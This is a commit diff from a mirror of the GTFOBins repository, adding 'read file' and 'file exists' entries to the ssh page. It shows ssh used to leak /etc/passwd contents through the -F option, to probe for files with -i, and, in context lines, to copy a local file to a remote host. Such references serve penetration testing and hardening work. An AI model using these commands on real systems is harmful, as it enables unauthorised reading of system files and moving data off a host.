mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-20 07:09:26 +02:00
Update ssh.md
This commit is contained in:
@@ -17,4 +17,10 @@ functions:
|
|||||||
RPATH=where_to_save
|
RPATH=where_to_save
|
||||||
LPATH=file_to_send
|
LPATH=file_to_send
|
||||||
ssh $HOST "cat > $RPATH" < $LPATH
|
ssh $HOST "cat > $RPATH" < $LPATH
|
||||||
|
read file:
|
||||||
|
- description: Read strings from text files. Reliability depends on content of files but works well with /etc/passwd
|
||||||
|
code: ssh -F /etc/passwd localhost
|
||||||
|
file exists:
|
||||||
|
- description: Tests whether a file exists.
|
||||||
|
code: ssh -i /filename localhost
|
||||||
---
|
---
|
||||||
|
Reference in New Issue
Block a user